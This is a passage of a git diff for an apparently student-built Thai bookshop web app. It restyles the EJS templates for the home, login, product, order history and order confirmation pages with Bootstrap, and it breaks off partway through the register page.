-  <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title><%= title %></title>
-</head>
-<body>
-  <h1>Welcome to <%= title %></h1>
-  <nav>
-    <ul>
-      <li><a href="/products">View Products</a></li>
-      <li><a href="/users/register">Register</a></li>
-      <li><a href="/users/login">Login</a></li>
-    </ul>
-  </nav>
-</body>
-</html>
+   <head>
+      <!-- basic -->
+      <meta charset="utf-8">
+      <meta http-equiv="X-UA-Compatible" content="IE=edge">
+      <meta name="viewport" content="width=device-width, initial-scale=1">
+      <!-- mobile metas -->
+      <meta name="viewport" content="width=device-width, initial-scale=1">
+      <meta name="viewport" content="initial-scale=1, maximum-scale=1">
+      <!-- site metas -->
+      <title>Grand Coffee</title>
+      <meta name="keywords" content="">
+      <meta name="description" content="">
+      <meta name="author" content="">
+      <!-- bootstrap css -->
+      <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
+      <!-- style css -->
+      <link rel="stylesheet" type="text/css" href="css/style.css">
+      <!-- Responsive-->
+      <link rel="stylesheet" href="css/responsive.css">
+      <link rel="stylesheet" href="css/index.css">
+      <!-- fevicon -->
+      <link rel="icon" href="images/fevicon.png" type="image/gif" />
+      <!-- Scrollbar Custom CSS -->
+      <link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
+      <!-- Tweaks for older IEs-->
+      <link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
+      <!-- owl stylesheets --> 
+      <link rel="stylesheet" href="css/owl.carousel.min.css">
+      <link rel="stylesheet" href="css/owl.theme.default.min.css">
+      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css" media="screen">
+   </head>
+   <body class="bg-light">
+      <!--header section start -->
+      <div class="header_section">
+         <div class="container-fluid">
+            <nav class="navbar navbar-expand-lg navbar-light bg-light">
+               <div class="logo"><a href="/"><h1 style="color: aliceblue;" class="h1">Bookshop</h1></a></div>
+               <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav"aria-expanded="false" aria-label="Toggle navigation">
+               <span class="navbar-toggler-icon"></span>
+               </button>
+               <div class="collapse navbar-collapse" id="navbarNav">
+                  <ul class="navbar-nav ml-auto">
+                     <li class="nav-item active">
+                        <a class="nav-link" href="/">Home</a>
+                     </li>
+                     <% if (loggedIn) { %>
+                     <li class="nav-item">
+                        <a class="nav-link" href="/orderHistory">History</a>
+                     </li>
+                     <li class="nav-item">
+                        <a class="nav-link" href="/cart">cart</a>
+                     </li> 
+                     <li class="nav-item">
+                        <a class="nav-link" href="/addProduct">create</a>
+                     </li>
+                     <li class="nav-item">
+                        <a class="nav-link text-danger" href="/logout">Logout</a>
+                     </li>
+                     <% } %>
+                     <% if (!loggedIn) { %>
+                     <li class="nav-item">
+                        <a class="nav-link" href="/login">Login</a>
+                     </li>
+                     <li class="nav-item">
+                        <a class="nav-link" href="/register">Register</a>
+                     </li>
+                     <% } %>
+                  </ul>
+               </div>
+            </nav>
+         </div>
+      </div>
+      <!--header section end -->
+      <!-- gallery section start -->
+      <div class="gallery_section layout_padding">
+         <div class="container">
+            <div class="row">
+               <form action="/search" method="GET" class="col-sm-12">
+                  <input type="text" name="q" placeholder="ค้นหาสินค้า..." required class="search">
+                  <button type="submit" class="btn btn-orange">ค้นหา</button>
+              </form>
+            </div>
+            <div class="">
+               <div class="gallery_section_2">
+                  <div class="row">
+                     <% products.forEach(product => { %>
+                        <div class="col-md-4">
+                           <div class="container_main">
+                              <a href="/product/<%= product.product_id %>">  <!-- ให้คลิกได้ที่รูปหรือกล่องทั้งใบ -->
+                                 <img src="<%= product.image %>" alt="Avatar" class="image">
+                                 <div class="container">
+                                    <h1><%= product.product_name %></h1>
+                                 </div>
+                              </a>
+                           </div>
+                        </div>
+                     <% }) %>
+                  </div>
+               </div>
+            </div>
+         </div>
+      </div>
+      <!-- gallery section end -->
+      <!-- Javascript files-->
+      <script src="js/jquery.min.js"></script>
+      <script src="js/popper.min.js"></script>
+      <script src="js/bootstrap.bundle.min.js"></script>
+      <script src="js/jquery-3.0.0.min.js"></script>
+      <script src="js/plugin.js"></script>
+      <!-- sidebar -->
+      <script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
+      <script src="js/custom.js"></script>     
+   </body>
+</html>
\ No newline at end of file
diff --git a/views/login.ejs b/views/login.ejs
index 136c05b..ede668b 100644
--- a/views/login.ejs
+++ b/views/login.ejs
@@ -1,19 +1,191 @@
-<!DOCTYPE html>
-<html lang="en">
-<head>
-  <meta charset="UTF-8">
-  <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title>Login</title>
-</head>
-<body>
-  <h1>Login</h1>
-  <form action="/users/login" method="POST">
-    <label for="email">Email:</label>
-    <input type="email" id="email" name="email" required><br><br>
-    <label for="password">Password:</label>
-    <input type="password" id="password" name="password" required><br><br>
-    <button type="submit">Login</button>
+
+<!doctype html>
+<html lang="en" data-bs-theme="auto">
+  <head><script src="/js/color-modes.js"></script>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <meta name="description" content="">
+    <meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors">
+    <meta name="generator" content="Hugo 0.122.0">
+    <title>Signin</title>
+
+    <link rel="canonical" href="https://getbootstrap.com/docs/5.3/examples/sign-in/">
+
+    
+
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3">
+
+<link href="/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous">
+
+    <!-- Favicons -->
+<link rel="apple-touch-icon" href="/docs/5.3/assets/img/favicons/apple-touch-icon.png" sizes="180x180">
+<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png">
+<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png">
+<link rel="manifest" href="/docs/5.3/assets/img/favicons/manifest.json">
+<link rel="mask-icon" href="/docs/5.3/assets/img/favicons/safari-pinned-tab.svg" color="#712cf9">
+<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon.ico">
+<meta name="theme-color" content="#712cf9">
+
+
+    <style>
+/* --- ข้อความ Placeholder --- */
+.bd-placeholder-img {
+    font-size: 1.125rem;
+    text-anchor: middle;
+    -webkit-user-select: none;
+    -moz-user-select: none;
+    user-select: none;
+}
+
+@media (min-width: 768px) {
+    .bd-placeholder-img-lg {
+        font-size: 3.5rem;
+    }
+}
+
+/* --- Divider --- */
+.b-example-divider {
+    width: 100%;
+    height: 3rem;
+    background-color: rgba(0, 0, 0, .05);
+    border: solid rgba(0, 0, 0, .1);
+    border-width: 1px 0;
+    box-shadow: inset 0 .5em 1.5em rgba(0, 0, 0, .05), inset 0 .125em .5em rgba(0, 0, 0, .1);
+    transition: box-shadow 0.3s ease;
+}
+
+.b-example-divider:hover {
+    box-shadow: inset 0 .75em 2em rgba(0, 0, 0, .1), inset 0 .25em .75em rgba(0, 0, 0, .2);
+}
+
+/* --- Vertical Divider --- */
+.b-example-vr {
+    flex-shrink: 0;
+    width: 1.5rem;
+    height: 100vh;
+}
+
+/* --- Icon สีและการจัดตำแหน่ง --- */
+.bi {
+    vertical-align: -.125em;
+    fill: currentColor;
+}
+
+/* --- Navbar Scroll --- */
+.nav-scroller {
+    position: relative;
+    z-index: 2;
+    height: 2.75rem;
+    overflow-y: hidden;
+}
+
+.nav-scroller .nav {
+    display: flex;
+    flex-wrap: nowrap;
+    padding-bottom: 1rem;
+    margin-top: -1px;
+    overflow-x: auto;
+    text-align: center;
+    white-space: nowrap;
+    gap: 12px; /* เพิ่มระยะห่างระหว่าง nav-item */
+    -webkit-overflow-scrolling: touch;
+}
+
+/* --- ปุ่มหลัก (สีม่วง) --- */
+.btn-bd-primary {
+    --bd-violet-bg: #6f42c1;
+    --bd-violet-rgb: 111, 66, 193;
+
+    --bs-btn-font-weight: 600;
+    --bs-btn-color: #ffffff;
+    --bs-btn-bg: var(--bd-violet-bg);
+    --bs-btn-border-color: var(--bd-violet-bg);
+    --bs-btn-hover-color: #ffffff;
+    --bs-btn-hover-bg: #5a32a3;
+    --bs-btn-hover-border-color: #5a32a3;
+    --bs-btn-focus-shadow-rgb: var(--bd-violet-rgb);
+    --bs-btn-active-color: #ffffff;
+    --bs-btn-active-bg: #4e2a8f;
+    --bs-btn-active-border-color: #4e2a8f;
+
+    padding: 10px 20px;
+    border-radius: 8px;
+    transition: background-color 0.2s ease, box-shadow 0.2s ease;
+    box-shadow: 0 4px 8px rgba(111, 66, 193, 0.3);
+}
+
+.btn-bd-primary:hover {
+    box-shadow: 0 6px 12px rgba(111, 66, 193, 0.4);
+    transform: translateY(-2px);
+}
+
+.btn-bd-primary:active {
+    box-shadow: 0 4px 8px rgba(111, 66, 193, 0.3);
+    transform: translateY(0);
+}
+
+/* --- Mode Toggle --- */
+.bd-mode-toggle {
+    z-index: 1500;
+}
+
+.bd-mode-toggle .dropdown-menu .active .bi {
+    display: block !important;
+}
+
+    </style>
+
+    
+    <!-- Custom styles for this template -->
+    <link href="/css/sign-in.css" rel="stylesheet">
+  </head>
+  <body class="d-flex align-items-center py-4 bg-body-tertiary">
+    <svg xmlns="http://www.w3.org/2000/svg" class="d-none">
+      <symbol id="check2" viewBox="0 0 16 16">
+        <path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/>
+      </symbol>
+      <symbol id="circle-half" viewBox="0 0 16 16">
+        <path d="M8 15A7 7 0 1 0 8 1v14zm0 1A8 8 0 1 1 8 0a8 8 0 0 1 0 16z"/>
+      </symbol>
+      <symbol id="moon-stars-fill" viewBox="0 0 16 16">
+        <path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/>
+        <path d="M10.794 3.148a.217.217 0 0 1 .412 0l.387 1.162c.173.518.579.924 1.097 1.097l1.162.387a.217.217 0 0 1 0 .412l-1.162.387a1.734 1.734 0 0 0-1.097 1.097l-.387 1.162a.217.217 0 0 1-.412 0l-.387-1.162A1.734 1.734 0 0 0 9.31 6.593l-1.162-.387a.217.217 0 0 1 0-.412l1.162-.387a1.734 1.734 0 0 0 1.097-1.097l.387-1.162zM13.863.099a.145.145 0 0 1 .274 0l.258.774c.115.346.386.617.732.732l.774.258a.145.145 0 0 1 0 .274l-.774.258a1.156 1.156 0 0 0-.732.732l-.258.774a.145.145 0 0 1-.274 0l-.258-.774a1.156 1.156 0 0 0-.732-.732l-.774-.258a.145.145 0 0 1 0-.274l.774-.258c.346-.115.617-.386.732-.732L13.863.1z"/>
+      </symbol>
+      <symbol id="sun-fill" viewBox="0 0 16 16">
+        <path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/>
+      </symbol>
+    </svg>
+    
+<main class="form-signin w-100 m-auto">
+  <form action="/user/login" method="POST">
+    <% if (message && message.length > 0) { %>
+      <div class="alert alert-danger" role="alert">
+          <%= message %>
+      </div>
+    <% } %>
+  
+    <h1 class="h3 mb-3 fw-normal">Sign in</h1>
+
+    <div class="form-floating">
+        <label for="floatingInput">Email address</label>
+      <input type="email" class="form-control" id="floatingInput" name="email" placeholder="name@example.com">
+    </div>
+    <div class="form-floating">
+        <label for="floatingPassword">Password</label>
+      <input type="password" class="form-control" id="floatingPassword" name="rpassword" placeholder="Password">
+    </div>
+
+    <div class="form-check text-start my-3">
+      <input class="form-check-input" type="checkbox" value="remember-me" id="flexCheckDefault">
+      <label class="form-check-label" for="flexCheckDefault">
+        Remember me
+      </label>
+    </div>
+    <button class="btn btn-primary w-100 py-2" type="submit">Sign in</button>
   </form>
-  <a href="/">Back to Home</a>
-</body>
-</html>
+</main>
+<script src="/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
+
+    </body>
+</html>
\ No newline at end of file
diff --git a/views/orderConfirmation.ejs b/views/orderConfirmation.ejs
new file mode 100644
index 0000000..dcabaf4
--- /dev/null
+++ b/views/orderConfirmation.ejs
@@ -0,0 +1,97 @@
+<!DOCTYPE html>
+<html lang="th">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>สั่งซื้อสำเร็จ!</title>
+    <!-- Font Awesome -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
+    <!-- Bootstrap CSS -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
+    <style>
+        body {
+    background-color: #f4f4f4;
+    color: #333;
+    font-family: Arial, sans-serif;
+}
+
+/* --- Container --- */
+.container {
+    max-width: 600px;
+    margin-top: 50px;
+    padding: 24px;
+    background: #ffffff;
+    border-radius: 12px;
+    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.08);
+    transition: box-shadow 0.3s ease, transform 0.2s ease;
+}
+
+.container:hover {
+    box-shadow: 0 12px 24px rgba(0, 0, 0, 0.15);
+    transform: translateY(-4px);
+}
+
+/* --- ปุ่ม Orange --- */
+.btn-orange {
+    background-color: #ff6600;
+    color: white;
+    border: none;
+    padding: 12px 20px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 600;
+    cursor: pointer;
+    transition: background-color 0.2s ease, box-shadow 0.2s ease;
+    box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3);
+}
+
+.btn-orange:hover {
+    background-color: #cc5200;
+    box-shadow: 0 6px 12px rgba(255, 102, 0, 0.4);
+    transform: translateY(-2px);
+}
+
+.btn-orange:active {
+    background-color: #b34700;
+    box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3);
+    transform: translateY(0);
+}
+
+/* --- ไอคอน Checkmark --- */
+.checkmark-icon {
+    font-size: 48px;
+    color: #28a745;
+    display: block;
+    margin: 16px auto;
+    animation: popIn 0.3s ease;
+}
+
+@keyframes popIn {
+    0% {
+        transform: scale(0.5);
+        opacity: 0;
+    }
+    100% {
+        transform: scale(1);
+        opacity: 1;
+    }
+}
+    </style>
+</head>
+<body>
+
+<div class="container text-center">
+    <h2 class="mb-3">สั่งซื้อสำเร็จ!</h2>
+    <i class="fas fa-check-circle checkmark-icon"></i> <!-- Font Awesome Tick Icon -->
+
+    <p class="mt-3">ขอบคุณที่สั่งซื้อสินค้ากับเรา</p>
+
+    <div class="mt-3">
+        <a href="/" class="btn btn-orange w-100">กลับไปหน้าหลัก</a>
+    </div>
+</div>
+
+<!-- Bootstrap JS -->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
+</body>
+</html>
diff --git a/views/orderHistory.ejs b/views/orderHistory.ejs
new file mode 100644
index 0000000..5e07719
--- /dev/null
+++ b/views/orderHistory.ejs
@@ -0,0 +1,127 @@
+<!DOCTYPE html>
+<html lang="th">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>ประวัติการสั่งซื้อ</title>
+    <!-- Bootstrap CSS -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
+    <style>
+/* --- พื้นหลังและสีตัวอักษร --- */
+body {
+    background-color: #f4f4f4;
+    color: #333;
+    font-family: Arial, sans-serif;
+}
+
+/* --- Container --- */
+.container {
+    max-width: 900px;
+    margin-top: 30px;
+    padding: 20px;
+    background: #ffffff;
+    border-radius: 12px;
+    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.1);
+    transition: box-shadow 0.2s ease, transform 0.2s ease;
+}
+
+.container:hover {
+    transform: translateY(-3px);
+    box-shadow: 0 10px 20px rgba(0, 0, 0, 0.15);
+}
+
+/* --- ปุ่ม Orange --- */
+.btn-orange {
+    background-color: #ff6600;
+    color: #ffffff;
+    border: none;
+    padding: 10px 16px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 600;
+    cursor: pointer;
+    transition: background-color 0.2s ease, box-shadow 0.2s ease;
+    box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3);
+}
+
+.btn-orange:hover {
+    background-color: #cc5200;
+    box-shadow: 0 6px 12px rgba(255, 102, 0, 0.4);
+    transform: translateY(-2px);
+}
+
+.btn-orange:active {
+    background-color: #b34700;
+    box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3);
+    transform: translateY(0);
+}
+
+/* --- รูปภาพสินค้า --- */
+.product-image {
+    max-width: 100px;
+    height: auto;
+    border-radius: 8px;
+    object-fit: cover;
+    transition: transform 0.2s ease;
+}
+
+.product-image:hover {
+    transform: scale(1.05);
+}
+
+/* --- Order Card --- */
+.order-card {
+    border: 1px solid #ddd;
+    padding: 16px;
+    margin-bottom: 20px;
+    background: #ffffff;
+    border-radius: 12px;
+    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.08);
+    transition: box-shadow 0.2s ease, transform 0.2s ease;
+}
+
+.order-card:hover {
+    transform: translateY(-3px);
+    box-shadow: 0 8px 16px rgba(0, 0, 0, 0.12);
+}
+
+    </style>
+</head>
+<body>
+
+<div class="container">
+    <h2 class="text-center mb-4">ประวัติการสั่งซื้อ</h2>
+
+    <% if (orders.length > 0) { %>
+        <% orders.forEach(order => { %>
+            <div class="order-card">
+                <h3>คำสั่งซื้อหมายเลข: <%= order.order_id %></h3>
+                <p><strong>วันที่สั่งซื้อ:</strong> <%= order.created_at %></p>
+                <p><strong>ยอดรวม:</strong> <%= order.total_amount %> บาท</p>
+
+                <h4>รายการสินค้า:</h4>
+                <ul>
+                    <% order.items.forEach(item => { %>
+                        <li>
+                            <img src="<%= item.image %>" class="product-image" alt="<%= item.product_name %>">
+                            <b><%= item.product_name %></b> - 
+                            จำนวน: <%= item.quantity %> - 
+                            ราคา: <%= item.price %> บาท
+                        </li>
+                    <% }) %>
+                </ul>
+            </div>
+        <% }) %>
+    <% } else { %>
+        <p class="text-center text-danger">คุณยังไม่มีประวัติการสั่งซื้อ</p>
+    <% } %>
+
+    <div class="text-center mt-3">
+        <a href="/" class="btn btn-secondary">กลับไปหน้าหลัก</a>
+    </div>
+</div>
+
+<!-- Bootstrap JS -->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
+</body>
+</html>
diff --git a/views/product.ejs b/views/product.ejs
new file mode 100644
index 0000000..fc95e98
--- /dev/null
+++ b/views/product.ejs
@@ -0,0 +1,157 @@
+<!DOCTYPE html>
+<html lang="th">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title><%= product.product_name %> | Bookshop</title>
+    <!-- Bootstrap CSS -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
+    <link rel="stylesheet" href="/css/product.css">
+    <style>
+/* --- Background และตัวอักษร --- */
+body {
+    background-color: #1a1a1a;
+    color: #ffffff;
+    font-family: Arial, sans-serif;
+}
+
+/* --- Container --- */
+.container {
+    max-width: 800px;
+    margin-top: 50px;
+    background: #222;
+    padding: 24px;
+    border-radius: 12px;
+    box-shadow: 0 6px 12px rgba(255, 165, 0, 0.15);
+    transition: transform 0.2s ease, box-shadow 0.2s ease;
+}
+
+.container:hover {
+    transform: translateY(-4px);
+    box-shadow: 0 12px 24px rgba(255, 165, 0, 0.25);
+}
+
+/* --- Product Image --- */
+.product-image {
+    max-width: 100%;
+    border-radius: 12px;
+    object-fit: cover;
+    transition: transform 0.2s ease;
+}
+
+.product-image:hover {
+    transform: scale(1.03);
+}
+
+/* --- ปุ่ม Orange --- */
+.btn-orange {
+    background-color: #ff6600;
+    color: white;
+    border: none;
+    padding: 10px 18px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 600;
+    cursor: pointer;
+    transition: background-color 0.2s ease, transform 0.1s ease;
+    box-shadow: 0 4px 8px rgba(255, 102, 0, 0.3);
+}
+
+.btn-orange:hover {
+    background-color: #cc5200;
+    transform: translateY(-2px);
+    box-shadow: 0 6px 12px rgba(255, 102, 0, 0.4);
+}
+
+.btn-orange:active {
+    background-color: #b34700;
+    transform: translateY(0);
+}
+
+/* --- ปุ่ม Yellow --- */
+.btn-yellow {
+    background-color: #ffcc00;
+    color: black;
+    padding: 10px 18px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 600;
+    cursor: pointer;
+    transition: background-color 0.2s ease, transform 0.1s ease;
+    box-shadow: 0 4px 8px rgba(255, 204, 0, 0.3);
+}
+
+.btn-yellow:hover {
+    background-color: #e6b800;
+    transform: translateY(-2px);
+    box-shadow: 0 6px 12px rgba(255, 204, 0, 0.4);
+}
+
+.btn-yellow:active {
+    background-color: #cca300;
+    transform: translateY(0);
+}
+
+/* --- ปุ่ม Danger --- */
+.btn-danger {
+    background-color: #ff4d4d;
+    color: white;
+    padding: 10px 18px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 600;
+    cursor: pointer;
+    transition: background-color 0.2s ease, transform 0.1s ease;
+    box-shadow: 0 4px 8px rgba(255, 77, 77, 0.3);
+}
+
+.btn-danger:hover {
+    background-color: #e60000;
+    transform: translateY(-2px);
+    box-shadow: 0 6px 12px rgba(255, 77, 77, 0.4);
+}
+
+.btn-danger:active {
+    background-color: #cc0000;
+    transform: translateY(0);
+}
+
+    </style>
+</head>
+<body>
+
+<div class="container text-center">
+    <h1 class="mb-3"><%= product.product_name %></h1>
+    <img src="<%= product.image %>" alt="<%= product.product_name %>" class="product-image mb-3">
+    <p><strong>ราคา:</strong> <span class="text-warning"><%= product.price %> บาท</span></p>
+    <p><strong>รายละเอียด:</strong> <%= product.description || "ไม่มีรายละเอียด" %></p>
+    <p><strong>สร้างโดย:</strong> <%= product.owner %></p>
+
+    <% if (currentUserEmail === product.owner) { %>
+        <div class="d-flex justify-content-center gap-2">
+            <form action="/delete_product/<%= product.product_id %>" method="POST" onsubmit="return confirm('ยืนยันการลบสินค้านี้?');">
+                <button type="submit" class="btn btn-danger">ลบสินค้า</button>
+            </form>
+            <form action="/products/<%= product.product_id %>/edit" method="GET">
+                <button type="submit" class="btn btn-yellow">แก้ไขสินค้า</button>
+            </form>
+        </div>
+    <% } %>
+
+    <form action="/cart/add" method="POST" class="mt-3">
+        <input type="hidden" name="product_id" value="<%= product.product_id %>">
+        <input type="hidden" name="price" value="<%= product.price %>">
+        <div class="d-flex justify-content-center align-items-center gap-2">
+            <label>จำนวน:</label>
+            <input type="number" name="quantity" value="1" min="1" class="form-control w-25">
+            <button type="submit" class="btn btn-orange">เพิ่มลงตะกร้า</button>
+        </div>
+    </form>
+
+    <a href="/" class="btn btn-secondary mt-3">กลับหน้าหลัก</a>
+</div>
+
+<!-- Bootstrap JS -->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
+</body>
+</html>
diff --git a/views/products.ejs b/views/products.ejs
deleted file mode 100644
index d9ae389..0000000
--- a/views/products.ejs
+++ /dev/null
@@ -1,22 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-<head>
-  <meta charset="UTF-8">
-  <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title>Products List</title>
-</head>
-<body>
-  <h1>Products</h1>
-  <ul>
-    <% products.forEach(product => { %>
-      <li>
-        <h2><%= product.name %></h2>
-        <p><%= product.description %></p>
-        <p>Price: <%= product.price %></p>
-        <p>Quantity: <%= product.quantity %></p>
-      </li>
-    <% }); %>
-  </ul>
-  <a href="/">Back to Home</a>
-</body>
-</html>
diff --git a/views/register.ejs b/views/register.ejs
index 6341070..2f12282 100644
--- a/views/register.ejs
+++ b/views/register.ejs
@@ -1,19 +1,176 @@
-<!DOCTYPE html>
-<html lang="en">
-<head>
-  <meta charset="UTF-8">
-  <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title>Register</title>
-</head>
-<body>
-  <h1>Register</h1>
-  <form action="/users/register" method="POST">
-    <label for="email">Email:</label>
-    <input type="email" id="email" name="email" required><br><br>
-    <label for="password">Password:</label>
-    <input type="password" id="password" name="password" required><br><br>
-    <button type="submit">Register</button>
+
+<!doctype html>
+<html lang="en" data-bs-theme="auto">
+  <head><script src="/js/color-modes.js"></script>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <meta name="description" content="">
+    <meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors">
+    <meta name="generator" content="Hugo 0.122.0">
+    <title>Signup</title>
+
+    <link rel="canonical" href="https://getbootstrap.com/docs/5.3/examples/sign-in/">
+
+    
+
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3">
+
+<link href="/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous">
+
+    <!-- Favicons -->
+<link rel="apple-touch-icon" href="/docs/5.3/assets/img/favicons/apple-touch-icon.png" sizes="180x180">
+<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png">
+<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png">
+<link rel="manifest" href="/docs/5.3/assets/img/favicons/manifest.json">
+<link rel="mask-icon" href="/docs/5.3/assets/img/favicons/safari-pinned-tab.svg" color="#712cf9">
+<link rel="icon" href="/docs/5.3/assets/img/favicons/favicon.ico">
+<meta name="theme-color" content="#712cf9">
+
+
+    <style>
+.bd-placeholder-img {
+    font-size: 1rem;
+    text-anchor: middle;
+    user-select: none;
+    color: #6c757d;
+}
+
+@media (min-width: 768px) {
+    .bd-placeholder-img-lg {
+        font-size: 2.5rem;
+    }
+}
+
+.b-example-divider {
+    width: 100%;
+    height: 3rem;
+    background-color: rgba(0, 0, 0, 0.05);
+    border: solid rgba(0, 0, 0, 0.1);
+    border-width: 1px 0;
+    box-shadow: inset 0 0.25em 1em rgba(0, 0, 0, 0.05), inset 0 0.125em 0.5em rgba(0, 0, 0, 0.1);
+    margin-bottom: 20px;
+}
+
+.b-example-vr {
+    flex-shrink: 0;
+    width: 1.5rem;
+    height: 100vh;
+    background-color: #f8f9fa;
+}
+
+.bi {
+    vertical-align: -0.125em;
+    fill: currentColor;
+}
+
+.nav-scroller {
+    position: relative;
+    z-index: 2;
+    height: 3rem;
+    overflow-y: hidden;
+    overflow-x: auto;
+    text-align: center;
+    white-space: nowrap;
+    -webkit-overflow-scrolling: touch;
+    scroll-behavior: smooth;
+}
+
+.nav-scroller .nav {
+    display: flex;
+    flex-wrap: nowrap;
+    padding-bottom: 0.5rem;
+    margin-top: -1px;
+    overflow-x: auto;
+    gap: 10px;
+}
+
+.btn-bd-primary {
+    --bd-violet-bg: #712cf9;
+    --bd-violet-rgb: 112, 44, 249;
+
+    font-weight: 600;
+    color: #ffffff;
+    background-color: var(--bd-violet-bg);
+    border: 1px solid var(--bd-violet-bg);
+    padding: 10px 16px;
+    border-radius: 8px;
+    transition: background-color 0.2s ease, transform 0.1s ease;
+    box-shadow: 0 4px 12px rgba(var(--bd-violet-rgb), 0.2);
+    display: inline-block;
+}
+
+.btn-bd-primary:hover {
+    background-color: #6528e0;
+    border-color: #6528e0;
+    transform: translateY(-2px);
+    box-shadow: 0 6px 16px rgba(var(--bd-violet-rgb), 0.3);
+}
+
+.btn-bd-primary:active {
+    background-color: #5a23c8;
+    border-color: #5a23c8;
+    transform: translateY(0);
+    box-shadow: 0 4px 12px rgba(var(--bd-violet-rgb), 0.2);
+}
+
+.bd-mode-toggle {
+    z-index: 1500;
+    position: fixed;
+    top: 10px;
+    right: 10px;
+}
+
+.bd-mode-toggle .dropdown-menu .active .bi {
+    display: block !important;
+}
+
+    </style>
+
+    
+    <!-- Custom styles for this template -->
+    <link href="/css/sign-in.css" rel="stylesheet">
+  </head>
+  <body class="d-flex align-items-center py-4 bg-body-tertiary">
+    <svg xmlns="http://www.w3.org/2000/svg" class="d-none">
+      <symbol id="check2" viewBox="0 0 16 16">
